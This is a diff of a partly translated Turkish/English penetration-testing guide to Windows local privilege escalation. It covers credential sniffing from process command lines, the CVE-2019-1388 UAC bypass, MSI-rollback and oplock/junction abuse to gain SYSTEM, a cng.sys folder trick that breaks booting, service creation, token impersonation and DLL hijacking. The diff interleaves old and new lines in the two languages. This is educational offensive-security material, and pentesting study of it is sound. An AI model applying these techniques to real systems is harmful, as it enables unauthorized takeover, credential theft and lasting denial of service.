süreç komut satırlarını her iki saniyede bir yakalar ve mevcut durumu önceki durumla karşılaştırarak herhangi bir farkı çıktılar. +When getting a shell as a user, there may be scheduled tasks or other processes being executed which **pass credentials on the command line**. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences. ```bash while($true) { @@ -1325,15 +1329,15 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## İşlemlerden şifre çalma +## Süreçlerden parolaları çalma -## Düşük ayrıcalıklı kullanıcıdan NT\AUTHORITY SYSTEM'e (CVE-2019-1388) / UAC Bypass +## Düşük Yetkili Kullanıcıdan NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -Grafik arayüze (konsol veya RDP aracılığıyla) erişiminiz varsa ve UAC etkinse, bazı Microsoft Windows sürümlerinde ayrıcalıksız bir kullanıcıdan "NT\AUTHORITY SYSTEM" gibi bir terminal ya da başka herhangi bir işlem çalıştırmak mümkündür. +Eğer grafiksel arayüze (via console or RDP) erişiminiz varsa ve UAC etkinse, bazı Microsoft Windows sürümlerinde ayrıcalıksız bir kullanıcıdan "NT\AUTHORITY SYSTEM" gibi bir terminal veya başka herhangi bir süreç çalıştırmak mümkündür. -Bu, aynı güvenlik açığı ile aynı anda ayrıcalık yükseltmeyi ve UAC bypass'ını mümkün kılar. Ayrıca herhangi bir şey yüklemeye gerek yoktur ve süreç sırasında kullanılan binary, Microsoft tarafından imzalanmış ve yayımlanmıştır. +Bu, aynı güvenlik açığı ile ayrıcalıkları yükseltmeyi ve aynı anda UAC'yi bypass etmeyi mümkün kılar. Ayrıca, herhangi bir şey yüklemeye gerek yoktur ve süreçte kullanılan binary, Microsoft tarafından imzalanmış ve yayımlanmıştır. -Etkilenen bazı sistemler şunlardır: +Etkilenen sistemlerden bazıları şunlardır: ``` SERVER ====== @@ -1355,7 +1359,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -Bu güvenlik açığından yararlanmak için aşağıdaki adımların gerçekleştirilmesi gerekir: +Bu açığı istismar etmek için aşağıdaki adımların gerçekleştirilmesi gerekir: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1373,10 +1377,6 @@ Bu güvenlik açığından yararlanmak için aşağıdaki adımların gerçekle 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` -You have all the necessary files and information in the following GitHub repository: - -https://github.com/jas502n/CVE-2019-1388 - ## From Administrator Medium to High Integrity Level / UAC Bypass Read this to **learn about Integrity Levels**: @@ -1395,203 +1395,203 @@ Then **read this to learn about UAC and UAC bypasses:** ## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP -The technique described [**bu blog yazısında**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) with a exploit code [**burada**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +The technique described [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) with a exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -Saldırı temelde Windows Installer'ın rollback özelliğinden yararlanarak meşru dosyaları kaldırma sürecinde kötü amaçlı olanlarla değiştirmeye dayanır. Bunun için saldırganın `C:\Config.Msi` klasörünü ele geçirmek amacıyla kullanılacak **kötü amaçlı bir MSI installer** oluşturması gerekir; Windows Installer daha sonra diğer MSI paketlerinin uninstall işlemleri sırasında rollback dosyalarını burada depolayacaktır ve rollback dosyaları kötü amaçlı payload içerecek şekilde değiştirilmiştir. +Saldırı temelde Windows Installer'ın rollback özelliğini suistimal ederek meşru dosyaları uninstall sırasında kötü amaçlı olanlarla değiştirmeye dayanır. Bunun için saldırganın, `C:\Config.Msi` klasörünü ele geçirmek amacıyla kullanılacak **kötü amaçlı bir MSI installer** oluşturması gerekir; bu klasör daha sonra Windows Installer tarafından diğer MSI paketlerinin uninstall işlemleri sırasında rollback dosyalarını depolamak için kullanılacak ve rollback dosyaları kötü amaçlı payload içerecek şekilde değiştirilmiş olacaktır. -Özet teknik şu şekildedir: +Tekniğin özeti şöyledir: -1. **Aşama 1 – Kaçırma İçin Hazırlık ( `C:\Config.Msi`'yi boş bırakın )** +1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** -- Adım 1: MSI'yı yükleyin -- Yazılabilir bir klasöre (`TARGETDIR`) zararsız bir dosya (ör. `dummy.txt`) kuran bir `.msi` oluşturun. -- Installer'ı **"UAC Compliant"** olarak işaretleyin, böylece **non-admin user** çalıştırabilir. -- Yüklemeden sonra dosyaya bir **handle** açık bırakın. +- Step 1: Install the MSI +- Create an `.msi` that installs a harmless file (e.g., `dummy.txt`) in a writable folder (`TARGETDIR`). +- Mark the installer as **"UAC Compliant"**, so a **non-admin user** can run it. +- Keep a **handle** open to the file after install. -- Adım 2: Kaldırma İşlemini Başlatın -- Aynı `.msi`'yı uninstall edin. -- Uninstall süreci dosyaları `C:\Config.Msi`'ye taşımaya ve onları `.rbf` dosyalarına yeniden adlandırmaya başlar (rollback yedekleri). -- Dosya `C:\Config.Msi\.rbf` haline geldiğinde tespit etmek için `GetFinalPathNameByHandle` ile açık dosya handle'ını **poll** edin. +- Step 2: Begin Uninstall +- Uninstall the same `.msi`. +- The uninstall process starts moving files to `C:\Config.Msi` and renaming them to `.rbf` files (rollback backups). +- **Poll the open file handle** using `GetFinalPathNameByHandle` to detect when the file becomes `C:\Config.Msi\.rbf`. -- Adım 3: Özel Senkronizasyon -- `.msi` içinde şu işi yapan bir **custom uninstall action (`SyncOnRbfWritten`)** bulunur: -- `.rbf` yazıldığında sinyal verir. -- Sonra uninstall'ın devam etmesinden önce başka bir event üzerinde **bekler**. +- Step 3: Custom Syncing +- The `.msi` includes a **custom uninstall action (`SyncOnRbfWritten`)** that: +- Signals when `.rbf` has been written. +- Then **waits** on another event before continuing the uninstall. -- Adım 4: `.rbf` Silinmesini Engelle -- Sinyal alındığında, `.rbf` dosyasını `FILE_SHARE_DELETE` olmadan **açın** — bu, dosyanın silinmesini **önler**. -- Sonra uninstall'ın tamamlanabilmesi için **geri sinyal verin**. -- Windows Installer `.rbf`'yi silemez ve tüm içeriği silemediği için, **`C:\Config.Msi` kaldırılmaz**. +- Step 4: Block Deletion of `.rbf` +- When signaled, **open the `.rbf` file** without `FILE_SHARE_DELETE` — this **prevents it from being deleted**. +- Then **signal back** so the uninstall can finish. +- Windows Installer fails to delete the `.rbf`, and because it can’t delete all contents, **`C:\Config.Msi` is not removed**. -- Adım 5: `.rbf`'yi Manuel Olarak Silin -- Siz (saldırgan) `.rbf` dosyasını manuel olarak silin. -- Artık **`C:\Config.Msi` boş**, ele geçirilmek üzere hazır. +- Step 5: Manually Delete `.rbf` +- You (attacker) delete the `.rbf` file manually. +- Now **`C:\Config.Msi` is empty**, ready to be hijacked. -> Bu noktada, `C:\Config.Msi`'yi silmek için **SYSTEM-level arbitrary folder delete vulnerability**'yi tetikleyin. +> At this point, **trigger the SYSTEM-level arbitrary folder delete vulnerability** to delete `C:\Config.Msi`. -2. **Aşama 2 – Rollback Script'lerini Kötü Amaçlı Olanlarla Değiştirme** +2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** -- Adım 6: Zayıf ACL'lerle `C:\Config.Msi`'yi Yeniden Oluştur -- `C:\Config.Msi` klasörünü kendiniz yeniden oluşturun. -- **Zayıf DACL'ler** (ör. Everyone:F) ayarlayın ve `WRITE_DAC` ile bir handle açık tutun. +- Step 6: Recreate `C:\Config.Msi` with Weak ACLs +- Recreate the `C:\Config.Msi` folder yourself. +- Set **weak DACLs** (e.g., Everyone:F), and **keep a handle open** with `WRITE_DAC`. -- Adım 7: Başka Bir Kurulum Çalıştırın -- `.msi`'yı tekrar kurun, şularla: -- `TARGETDIR`: Yazılabilir konum. -- `ERROROUT`: zorunlu bir failure tetikleyecek bir değişken. -- Bu kurulum tekrar **rollback** tetikleyecek ve `.rbs` ve `.rbf` okunacaktır. +- Step 7: Run Another Install +- Install the `.msi` again, with: +- `TARGETDIR`: Writable location. +- `ERROROUT`: A variable that triggers a forced failure. +- This install will be used to trigger **rollback** again, which reads `.rbs` and `.rbf`. -- Adım 8: `.rbs`'i İzleyin -- `ReadDirectoryChangesW` kullanarak `C:\Config.Msi`'yi yeni bir `.rbs` oluşana kadar izleyin. -- Dosya adını yakalayın. +- Step 8: Monitor for `.rbs` +- Use `ReadDirectoryChangesW` to monitor `C:\Config.Msi` until a new `.rbs` appears. +- Capture its filename. -- Adım 9: Rollback Öncesi Senkronizasyon -- `.msi` içinde şu işi yapan bir **custom install action (`SyncBeforeRollback`)** bulunur: -- `.rbs` oluşturulduğunda bir event ile sinyal verir. -- Sonra devam etmeden önce **bekler**. +- Step 9: Sync Before Rollback +- The `.msi` contains a **custom install action (`SyncBeforeRollback`)** that: +- Signals an event when the `.rbs` is created. +- Then **waits** before continuing. -- Adım 10: Zayıf ACL'yi Yeniden Uygula -- `.rbs oluşturuldu` event'ini aldıktan sonra: -- Windows Installer `C:\Config.Msi`'ye **güçlü ACL'ler** uygular. -- Ancak siz hala `WRITE_DAC` ile bir handle'a sahip olduğunuz için **yine zayıf ACL'ler** uygulayabilirsiniz. +- Step 10: Reapply Weak ACL +- After receiving the `.rbs created` event: +- The Windows Installer **reapplies strong ACLs** to `C:\Config.Msi`. +- But since you still have a handle with `WRITE_DAC`, you can **reapply weak ACLs** again. -> ACL'ler **sadece handle açıldığında** uygulanır, bu yüzden klasöre yazmaya devam edebilirsiniz. +> ACLs are **only enforced on handle open**, so you can still write to the folder. -- Adım 11: Sahte `.rbs` ve `.rbf` Bırak -- `.rbs` dosyasını, Windows'a şunu söyleyen **sahte bir rollback script** ile overwrite edin: -- `.rbf` dosyanızı (kötü amaçlı DLL) bir **ayrıcalıklı konuma** geri yüklemesini (örn. `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`) söyleyin. -- Kötü amaçlı SYSTEM-seviyeli payload DLL içeren sahte `.rbf`'yi bırakın. +- Step 11: Drop Fake `.rbs` and `.rbf` +- Overwrite the `.rbs` file with a **fake rollback script** that tells Windows to: +- Restore your `.rbf` file (malicious DLL) into a **privileged location** (e.g., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Drop your fake `.rbf` containing a **malicious SYSTEM-level payload DLL**. -- Adım 12: Rollback'i Tetikle -- Installer'ın devam etmesi için sync event'ini sinyalleyin. -- Bilinen bir noktada kurulumu **bilerek başarısız** kılmak için yapılandırılmış bir **type 19 custom action (`ErrorOut`)** vardır. -- Bu, **rollback'in başlamasına** neden olur. +- Step 12: Trigger the Rollback +- Signal the sync event so the installer resumes. +- A **type 19 custom action (`ErrorOut`)** is configured to **intentionally fail the install** at a known point. +- This causes **rollback to begin**. -- Adım 13: SYSTEM DLL'inizi Yükler +- Step 13: SYSTEM Installs Your DLL - Windows Installer: -- Kötü amaçlı `.rbs`'inizi okur. -- Kötü amaçlı `.rbf` DLL'inizi hedef konuma kopyalar. -- Artık **SYSTEM tarafından yüklenen bir yolda kötü amaçlı DLL**'iniz var. +- Reads your malicious `.rbs`. +- Copies your `.rbf` DLL into the target location. +- You now have your **malicious DLL in a SYSTEM-loaded path**. -- Son Adım: SYSTEM Kodunu Çalıştır -- DLL'i yükleyecek güvenilir bir **auto-elevated binary** (ör. `osk.exe`) çalıştırın. -- **Patlama**: Kodunuz **SYSTEM olarak** çalıştırılır. +- Final Step: Execute SYSTEM Code +- Run a trusted **auto-elevated binary** (e.g., `osk.exe`) that loads the DLL you hijacked. +- **Boom**: Your code is executed **as SYSTEM**. ### From Arbitrary File Delete/Move/Rename to SYSTEM EoP -Ana MSI rollback tekniği (öncekiler) tüm bir klasörü (ör. `C:\Config.Msi`) silebildiğinizi varsayar. Peki ya zafiyetiniz sadece **keyfi dosya silme**ye izin veriyorsa? +The main MSI rollback technique (the previous one) assumes you can delete an **entire folder** (e.g., `C:\Config.Msi`). But what if your vulnerability only allows **arbitrary file deletion** ? -NTFS içyapılarını suistimal edebilirsiniz: her klasörün şu adla gizli bir alternate data stream'i vardır: +You could exploit **NTFS internals**: every folder has a hidden alternate data stream called: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` Bu stream, klasörün **index metadata** bilgisini depolar. -Dolayısıyla, bir klasörün **`::$INDEX_ALLOCATION` stream'ini silerseniz**, NTFS dosya sisteminden **tüm klasörü kaldırır**. +Yani, bir klasörün **`::$INDEX_ALLOCATION` stream'ini silerseniz**, NTFS dosya sisteminden **tüm klasörü kaldırır**. -Bunu standart dosya silme API'lerini kullanarak yapabilirsiniz, örneğin: +Bunu şu gibi standart dosya silme API'leri kullanarak yapabilirsiniz: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> Her ne kadar *file* delete API çağırıyor olsanız da, bu **klasörün kendisini siler**. +> Bir *dosya* silme API'sini çağırıyor olsanız bile, **klasörün kendisini siliyor**. -### From Folder Contents Delete to SYSTEM EoP -Primitive'iniz rastgele dosya/klasörleri silmenize izin vermiyorsa, ancak **attacker-controlled folder'ın *contents*'unu silmenize izin veriyorsa** ne olur? +### Klasör İçeriğini Silmeden SYSTEM EoP'ye +Eğer primitive rastgele dosya/klasör silmeye izin vermiyorsa, ancak **saldırganın kontrolündeki bir klasörün *içeriğini* silmeye izin veriyorsa** ne olur? -1. Step 1: Tuzak klasör ve dosya oluşturma +1. Adım 1: Bir yem klasör ve dosya oluştur - Oluştur: `C:\temp\folder1` -- İçine: `C:\temp\folder1\file1.txt` +- İçinde: `C:\temp\folder1\file1.txt` -2. Step 2: `file1.txt` üzerinde bir **oplock** yerleştirin -- Oplock, yetkili bir süreç `file1.txt`'i silmeye çalıştığında yürütmeyi **duraklatır**. +2. Adım 2: `file1.txt` üzerine bir **oplock** yerleştirin +- Oplock, ayrıcalıklı bir işlem `file1.txt`'i silmeye çalıştığında **yürütmeyi duraklatır**. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. Adım 3: SYSTEM sürecini tetikleyin (ör. `SilentCleanup`) -- Bu süreç klasörleri (ör. `%TEMP%`) tarar ve içindekileri silmeye çalışır. -- `file1.txt`'e ulaştığında, **oplock tetiklenir** ve kontrol callback'inize geçer. +3. Adım 3: SYSTEM sürecini tetikle (ör. `SilentCleanup`) +- Bu süreç klasörleri tarar (ör. `%TEMP%`) ve içlerini silmeye çalışır. +- `file1.txt`'e ulaştığında, **oplock tetiklenir** ve kontrolü callback'inize verir. -4. Adım 4: oplock callback içinde – silmeyi yönlendirin +4. Adım 4: Oplock callback içinde – silmeyi yönlendir -- Seçenek A: `file1.txt`'i başka bir yere taşıyın -- Bu, `folder1`'i oplock'u bozmadan boşaltır. -- `file1.txt`'i doğrudan silmeyin — bu, oplock'u erken serbest bırakır. +- Seçenek A: `file1.txt`'i başka yere taşı +- Bu, `folder1`'i boşaltır ve oplock'u bozmaz. +- `file1.txt`'i doğrudan silmeyin — bu oplock'u erken serbest bırakır. - Seçenek B: `folder1`'i bir **junction**'a dönüştürün: ```bash # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control ``` -- Seçenek C: `\RPC Control` içinde bir **symlink** oluştur: +- Seçenek C: `\RPC Control` içinde bir **symlink** oluşturun: ```bash # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> Bu, klasör meta verilerini depolayan NTFS iç akışını hedef alır — onu silmek klasörü siler. +> Bu, klasör meta verilerini depolayan NTFS iç akışını hedef alır — bunu silmek klasörü siler. 5. Adım 5: oplock'u serbest bırak -- SYSTEM işlemi devam eder ve `file1.txt`'i silmeye çalışır. -- Ancak şimdi, junction + symlink nedeniyle, aslında şu an siliyor: +- SYSTEM process devam eder ve `file1.txt`'i silmeye çalışır. +- Ama şimdi, junction + symlink nedeniyle, aslında siliyor: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` -**Sonuç**: `C:\Config.Msi` SYSTEM tarafından silinir. +**Sonuç**: `C:\Config.Msi` SYSTEM tarafından silindi. -### From Arbitrary Folder Create to Permanent DoS +### Rastgele Klasör Oluşturmadan Kalıcı DoS'a -Bir primitive'i suistimal edin; bu size **create an arbitrary folder as SYSTEM/admin** oluşturma imkânı verir — hatta **dosyalara yazamıyor** veya **zayıf izinler ayarlayamıyor** olsanız bile. +Bir primitive'i suistimal edin; size **SYSTEM/admin olarak rastgele bir klasör oluşturma** olanağı sağlar — hatta **dosya yazamıyorsanız** veya **zayıf izinler ayarlayamıyorsanız** bile. -Bir **klasör** (dosya değil) oluşturun; adı bir **kritik Windows sürücüsü** olan, e.g.: +Bir **klasör** (dosya değil) oluşturun; adını bir **kritik Windows sürücüsünün** adıyla verin, örn.: ``` C:\Windows\System32\cng.sys ``` -- Bu yol genelde `cng.sys` çekirdek modu sürücüsüne karşılık gelir. -- Eğer bunu **bir klasör olarak önceden oluşturursanız**, Windows önyüklemede gerçek sürücüyü yükleyemez. -- Ardından, Windows önyükleme sırasında `cng.sys`'i yüklemeye çalışır. -- Klasörü görür, **gerçek sürücüyü çözemeyerek başarısız olur** ve **çöker veya önyüklemeyi durdurur**. -- Harici müdahale olmadan (ör. önyükleme onarımı veya disk erişimi) **geri dönüş yok** ve **kurtarma mümkün değil**. +- Bu yol normalde `cng.sys` kernel-mode sürücüsüne karşılık gelir. +- Eğer **onu önceden bir klasör olarak oluşturursanız**, Windows önyüklemede gerçek sürücüyü yükleyemez. +- Daha sonra, Windows önyükleme sırasında `cng.sys`'i yüklemeye çalışır. +- Klasörü görür, **gerçek sürücüyü çözemeyip**, **çöker veya önyüklemeyi durdurur**. +- Harici müdahale olmadan (ör. önyükleme onarımı veya disk erişimi) **geri dönüş yok** ve **kurtarma yok**. -## **High Integrity'den SYSTEM'e** +## **High Integrity'den System'e** ### **Yeni servis** -Eğer zaten bir High Integrity süreci üzerinde çalışıyorsanız, **SYSTEM'e giden yol** sadece **yeni bir servis oluşturup çalıştırmak** kadar kolay olabilir: +Eğer zaten bir High Integrity işleminde çalışıyorsanız, **SYSTEM'e giden yol** sadece **yeni bir servis oluşturup çalıştırmak** kadar kolay olabilir: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> Service binary oluştururken bunun geçerli bir service olduğundan veya ikili dosyanın gerekli eylemleri gerçekleştirdiğinden emin olun; aksi takdirde geçerli bir service değilse 20s içinde sonlandırılacaktır. +> Bir service binary'si oluştururken, onun geçerli bir service olduğundan veya binary'nin gerekli işlemleri hızlıca gerçekleştirdiğinden emin olun; geçerli bir service değilse 20s içinde sonlandırılacaktır. ### AlwaysInstallElevated -High Integrity bir process üzerinden **AlwaysInstallElevated registry entries**'ı etkinleştirmeyi ve bir _**.msi**_ wrapper kullanarak bir reverse shell **kurmayı** deneyebilirsiniz.\ -[Konu olan registry anahtarları ve bir _.msi_ paketinin nasıl kurulacağı hakkında daha fazla bilgi için buraya bakın.](#alwaysinstallelevated) +Bir High Integrity process'ten, **AlwaysInstallElevated kayıt girdilerini etkinleştirmeyi** ve bir _**.msi**_ wrapper kullanarak bir reverse shell **yüklemeyi** deneyebilirsiniz.\ +[Kayıt anahtarları ve bir _.msi_ paketinin nasıl yükleneceği hakkında daha fazla bilgi burada.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -**Kodu** [**burada bulabilirsiniz**](seimpersonate-from-high-to-system.md)**.** +**Şunu yapabilirsiniz:** [**kodu burada bulabilirsiniz**](seimpersonate-from-high-to-system.md)**.** ### From SeDebug + SeImpersonate to Full Token privileges -Eğer bu token ayrıcalıklarına sahipseniz (muhtemelen zaten High Integrity bir process içinde bulacaksınız), SeDebug ayrıcalığı ile **neredeyse herhangi bir process'i açabilir** (protected process değil), process'in **token'ını kopyalayabilir** ve o token ile **rastgele bir process oluşturabilirsiniz**.\ -Bu teknik genellikle **tüm token ayrıcalıklarına sahip SYSTEM olarak çalışan bir process'in seçilmesiyle** kullanılır (_evet, tüm token ayrıcalıklarına sahip olmayan SYSTEM process'leri bulabilirsiniz_).\ -**Bir örnek kodu** [**buradan bulabilirsiniz**](sedebug-+-seimpersonate-copy-token.md)**.** +Eğer bu token ayrıcalıklarına sahipseniz (muhtemelen bunu zaten bir High Integrity process içinde bulursunuz), SeDebug ayrıcalığı ile (korumalı olmayan) **neredeyse herhangi bir process'i açabilir**, o process'in **token'ını kopyalayabilir** ve o token ile **rastgele bir process oluşturabilirsiniz**.\ +Bu teknikte genellikle tüm token ayrıcalıklarına sahip olarak SYSTEM olarak çalışan herhangi bir process **seçil**ir (_evet, tüm token ayrıcalıklarına sahip olmayan SYSTEM process'leri de bulabilirsiniz_).\ +**Bir örnek kodu burada bulabilirsiniz:** [**sedebug + seimpersonate copy token örneği**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -Bu teknik meterpreter tarafından getsystem yükseltmesi için kullanılır. Teknik, **bir pipe oluşturup sonra o pipe'a yazmak için bir service oluşturma/istismar etme** işlemine dayanır. Ardından, pipe'ı **`SeImpersonate`** ayrıcalığıyla oluşturan **server**, pipe istemcisinin (service'in) token'ını **taklit ederek** SYSTEM ayrıcalıkları elde edebilir.\ -Eğer [**named pipes hakkında daha fazla bilgi edinmek isterseniz, burayı okuyun**](#named-pipe-client-impersonation).\ -Named pipes kullanarak high integrity'den System'e nasıl geçileceğine dair bir örnek okumak isterseniz [**burayı okuyun**](from-high-integrity-to-system-with-name-pipes.md). +Bu teknik meterpreter tarafından `getsystem` yükseltmesi için kullanılır. Teknik, **bir pipe oluşturup ardından bir service oluşturarak/istismar ederek bu pipe'a yazma** işleminden oluşur. Ardından, pipe'ı oluşturan **server**, **`SeImpersonate`** ayrıcalığını kullanarak pipe istemcisinin (service'in) token'ını **taklit edebilecek** ve SYSTEM ayrıcalıkları elde edecektir.\ +Eğer [**named pipes hakkında daha fazla bilgi edinmek istiyorsanız bunu okuyun**](#named-pipe-client-impersonation).\ +Eğer [**high integrity'den System'a name pipes kullanarak nasıl geçileceğine dair bir örneği okumak istiyorsanız bunu okuyun**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -SYSTEM olarak çalışan bir **process** tarafından **yüklenen** bir **dll'i** hijack etmeyi başarırsanız, bu izinlerle keyfi kod çalıştırabilirsiniz. Bu yüzden Dll Hijacking bu tür privilege escalation için de yararlıdır ve ayrıca high integrity bir process'ten ulaşılması **çok daha kolaydır**, çünkü dll'lerin yüklendiği klasörler üzerinde **write permissions** olacaktır.\ -**Daha fazla bilgi için** [**Dll hijacking hakkında buraya bakın**](dll-hijacking/index.html)**.** +Eğer **SYSTEM olarak çalışan bir process tarafından yüklenen bir dll'i hijack edebilirseniz**, bu izinlerle rastgele kod çalıştırabilirsiniz. Bu yüzden Dll Hijacking bu tür bir ayrıcalık yükseltme için kullanışlıdır ve ayrıca High Integrity process'ten elde edilmesi çok **daha kolaydır** çünkü dll'lerin yüklendiği klasörler üzerinde **yazma izinlerine** sahip olacaktır.\ +**Dll hijacking hakkında daha fazla bilgi edinebilirsiniz** [**burada**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1603,51 +1603,51 @@ SYSTEM olarak çalışan bir **process** tarafından **yüklenen** bir **dll'i** **Oku:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## Daha fazla yardım +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Faydalı araçlar +## Useful tools -**Windows local privilege escalation vektörlerini aramak için en iyi araç:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Windows yerel ayrıcalık yükseltme vektörlerini aramak için en iyi araç:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Yanlış yapılandırmaları ve hassas dosyaları kontrol eder (**[**buraya bakın**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Tespit edildi.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Bazı olası yanlış yapılandırmaları kontrol eder ve bilgi toplar (**[**buraya bakın**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Yanlış yapılandırmaları ve hassas dosyaları kontrol edin (**[**buraya bakın**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Tespit edildi.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- Bazı olası yanlış yapılandırmaları kontrol edin ve bilgi toplayın (**[**buraya bakın**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ [**privesc** ](https://github.com/enjoiz/Privesc)**-- Yanlış yapılandırmaları kontrol eder**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY, WinSCP, SuperPuTTY, FileZilla ve RDP kaydedilmiş oturum bilgilerini çıkarır. Yerelde -Thorough kullanın.**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY, WinSCP, SuperPuTTY, FileZilla ve RDP kayıtlı oturum bilgilerini çıkarır. Yerelde -Thorough kullanın.**\ [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Credential Manager'dan kimlik bilgilerini çıkarır. Tespit edildi.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Toplanan parolaları domain genelinde spray eder**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh, PowerShell tabanlı bir ADIDNS/LLMNR/mDNS/NBNS spoofer ve man-in-the-middle aracıdır.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Temel privesc Windows keşfi**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Bilinen privesc zafiyetlerini arar (DEPRECATED for Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Yerel kontroller **(Yönetici hakları gerekir)** +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Toplanan parolaları domaine karşı spray yapar**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh, PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer ve man-in-the-middle aracıdır.**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Temel privesc Windows enumeration**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Bilinen privesc açıklarını arar (Watson için DEPRECATED)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Yerel kontroller **(Admin hakları gerekli)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Bilinen privesc zafiyetlerini arar (VisualStudio kullanılarak derlenmesi gerekir) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Yanlış yapılandırmaları arayarak host'ta bilgi toplar (privesc'den ziyade bilgi toplama aracı) (derlenmesi gerekir) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Birçok yazılımdan kimlik bilgilerini çıkarır (github'da önceden derlenmiş exe)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Bilinen privesc açıklarını arar (VisualStudio kullanılarak derlenmesi gerekir) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Host'u yanlış yapılandırmalar için tarar (daha çok bilgi toplama aracı; privesc'den çok bilgi toplama) (derlenmesi gerekir) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Birçok softtan kimlik bilgilerini çıkarır (github'da önceden derlenmiş exe mevcut)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp'ın C# portu**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Yanlış yapılandırmaları kontrol eder (çalıştırılabilir github'da önceden derlenmiş). Önerilmez. Win10'da iyi çalışmaz.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Olası yanlış yapılandırmaları kontrol eder (python'dan exe). Önerilmez. Win10'da iyi çalışmaz. +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Yanlış yapılandırmaları kontrol eder (github'da önceden derlenmiş exe). Tavsiye edilmez. Win10'da iyi çalışmıyor.\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Olası yanlış yapılandırmaları kontrol eder (python'dan exe). Tavsiye edilmez. Win10'da iyi çalışmıyor. **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Bu gönderiye dayanarak 